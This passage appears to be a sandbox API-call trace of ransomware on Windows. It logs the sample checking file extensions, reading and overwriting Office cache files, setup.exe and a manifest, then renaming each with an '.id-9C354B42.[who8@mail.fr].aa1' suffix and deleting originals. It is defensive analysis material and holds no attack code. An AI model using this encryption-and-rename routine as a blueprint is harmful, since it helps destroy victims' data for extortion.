lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0223.832] lstrlenW (lpString=".7z") returned 3 [0223.832] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0223.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.832] lstrlenW (lpString=".dbf") returned 4 [0223.832] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0223.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.833] lstrlenW (lpString=".1cd") returned 4 [0223.833] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0223.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.833] lstrlenW (lpString=".jpg") returned 4 [0223.833] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0223.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.833] lstrlenW (lpString=".doc") returned 4 [0223.833] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0223.833] lstrlenW (lpString=".docx") returned 5 [0223.833] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0223.833] lstrlenW (lpString=".pdf") returned 4 [0223.833] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0223.833] lstrlenW (lpString=".xls") returned 4 [0223.833] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0223.833] lstrlenW (lpString=".xlsx") returned 5 [0223.833] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0223.833] lstrlenW (lpString=".ppt") returned 4 [0223.833] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0223.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.834] lstrlenW (lpString=".zip") returned 4 [0223.834] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0223.834] lstrlenW (lpString=".rar") returned 4 [0223.834] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0223.834] lstrlenW (lpString=".bz2") returned 4 [0223.834] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0223.834] lstrlenW (lpString=".7z") returned 3 [0223.834] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0223.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.834] lstrlenW (lpString=".dbf") returned 4 [0223.834] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0223.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.834] lstrlenW (lpString=".1cd") returned 4 [0223.834] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0223.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0223.834] lstrlenW (lpString=".jpg") returned 4 [0223.834] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0223.835] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0223.835] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0223.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0223.835] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=36233052) returned 1 [0223.835] CloseHandle (hObject=0x220) returned 1 [0223.835] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0223.835] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.835] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0223.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0223.836] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0223.836] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.836] ReadFile (in: hFile=0x220, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.931] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.931] ReadFile (in: hFile=0x220, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.949] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0223.949] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.949] ReadFile (in: hFile=0x220, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0224.043] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.044] WriteFile (in: hFile=0x220, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0224.078] SetEndOfFile (hFile=0x220) returned 1 [0224.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd3008 [0224.332] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.332] WriteFile (in: hFile=0x220, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.333] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.333] WriteFile (in: hFile=0x220, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.334] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.334] WriteFile (in: hFile=0x220, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd3008 | out: hHeap=0x4f0000) returned 1 [0224.336] CloseHandle (hObject=0x220) returned 1 [0224.337] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0224.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.337] lstrlenW (lpString=".doc") returned 4 [0224.337] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0224.337] lstrlenW (lpString=".docx") returned 5 [0224.337] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0224.337] lstrlenW (lpString=".pdf") returned 4 [0224.337] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0224.337] lstrlenW (lpString=".xls") returned 4 [0224.337] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0224.337] lstrlenW (lpString=".xlsx") returned 5 [0224.337] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0224.337] lstrlenW (lpString=".ppt") returned 4 [0224.337] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0224.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.337] lstrlenW (lpString=".zip") returned 4 [0224.337] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0224.337] lstrlenW (lpString=".rar") returned 4 [0224.337] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0224.338] lstrlenW (lpString=".bz2") returned 4 [0224.338] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0224.338] lstrlenW (lpString=".7z") returned 3 [0224.338] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0224.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.338] lstrlenW (lpString=".dbf") returned 4 [0224.338] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0224.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.338] lstrlenW (lpString=".1cd") returned 4 [0224.338] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0224.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.338] lstrlenW (lpString=".jpg") returned 4 [0224.338] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0224.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.338] lstrlenW (lpString=".doc") returned 4 [0224.338] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0224.338] lstrlenW (lpString=".docx") returned 5 [0224.338] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0224.338] lstrlenW (lpString=".pdf") returned 4 [0224.338] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0224.338] lstrlenW (lpString=".xls") returned 4 [0224.338] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0224.338] lstrlenW (lpString=".xlsx") returned 5 [0224.338] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0224.338] lstrlenW (lpString=".ppt") returned 4 [0224.338] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0224.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.339] lstrlenW (lpString=".zip") returned 4 [0224.339] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0224.339] lstrlenW (lpString=".rar") returned 4 [0224.339] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0224.339] lstrlenW (lpString=".bz2") returned 4 [0224.339] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0224.339] lstrlenW (lpString=".7z") returned 3 [0224.339] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0224.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.339] lstrlenW (lpString=".dbf") returned 4 [0224.339] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0224.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.339] lstrlenW (lpString=".1cd") returned 4 [0224.339] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0224.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0224.339] lstrlenW (lpString=".jpg") returned 4 [0224.339] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0224.339] lstrcmpiW (lpString1=".exe", lpString2=".aa1") returned 1 [0224.339] lstrlenW (lpString="setup.exe") returned 9 [0224.339] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0224.401] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1377656) returned 1 [0224.401] CloseHandle (hObject=0x1ec) returned 1 [0224.401] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0224.401] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.401] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0224.401] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.401] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.401] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0224.402] GetLastError () returned 0x0 [0224.402] ReadFile (in: hFile=0x1ec, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0224.596] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0224.614] ReadFile (in: hFile=0x1ec, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x50588, lpOverlapped=0x0) returned 1 [0224.926] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0224.936] ReadFile (in: hFile=0x1ec, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.936] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0224.936] SetEndOfFile (hFile=0x1f0) returned 1 [0224.936] CloseHandle (hObject=0x1f0) returned 1 [0224.937] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.937] SetEndOfFile (hFile=0x1ec) returned 1 [0224.940] CloseHandle (hObject=0x1ec) returned 1 [0224.940] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0224.941] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0224.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0224.941] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0224.941] lstrlenW (lpString=".doc") returned 4 [0224.941] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0224.941] lstrlenW (lpString=".docx") returned 5 [0224.941] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0224.941] lstrlenW (lpString=".pdf") returned 4 [0224.941] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0224.941] lstrlenW (lpString=".xls") returned 4 [0224.941] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0224.941] lstrlenW (lpString=".xlsx") returned 5 [0224.941] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0224.941] lstrlenW (lpString=".ppt") returned 4 [0224.941] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0224.942] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0224.942] lstrlenW (lpString=".zip") returned 4 [0224.942] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.320] lstrlenW (lpString=".rar") returned 4 [0225.320] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.320] lstrlenW (lpString=".bz2") returned 4 [0225.320] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.320] lstrlenW (lpString=".7z") returned 3 [0225.320] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0225.320] lstrlenW (lpString=".dbf") returned 4 [0225.321] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0225.321] lstrlenW (lpString=".1cd") returned 4 [0225.321] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0225.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0225.321] lstrlenW (lpString=".jpg") returned 4 [0225.321] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0225.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0225.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0225.321] lstrlenW (lpString=".doc") returned 4 [0225.321] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.321] lstrlenW (lpString=".docx") returned 5 [0225.321] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0225.322] lstrlenW (lpString=".pdf") returned 4 [0225.322] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.322] lstrlenW (lpString=".xls") returned 4 [0225.322] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.322] lstrlenW (lpString=".xlsx") returned 5 [0225.322] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0225.322] lstrlenW (lpString=".ppt") returned 4 [0225.322] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0225.322] lstrlenW (lpString=".zip") returned 4 [0225.322] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.322] lstrlenW (lpString=".rar") returned 4 [0225.322] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.322] lstrlenW (lpString=".bz2") returned 4 [0225.322] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.322] lstrlenW (lpString=".7z") returned 3 [0225.322] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0225.322] lstrlenW (lpString=".dbf") returned 4 [0225.322] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0225.322] lstrlenW (lpString=".1cd") returned 4 [0225.322] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0225.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0225.322] lstrlenW (lpString=".jpg") returned 4 [0225.322] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0225.323] lstrcmpiW (lpString1=".manifest", lpString2=".aa1") returned 1 [0225.323] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0225.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.831] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=566) returned 1 [0225.831] CloseHandle (hObject=0x1b0) returned 1 [0225.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0225.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.832] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.832] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0225.832] GetLastError () returned 0x0 [0225.832] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x236, lpOverlapped=0x0) returned 1 [0225.833] WriteFile (in: hFile=0x1dc, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x240, lpOverlapped=0x0) returned 1 [0225.836] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.836] WriteFile (in: 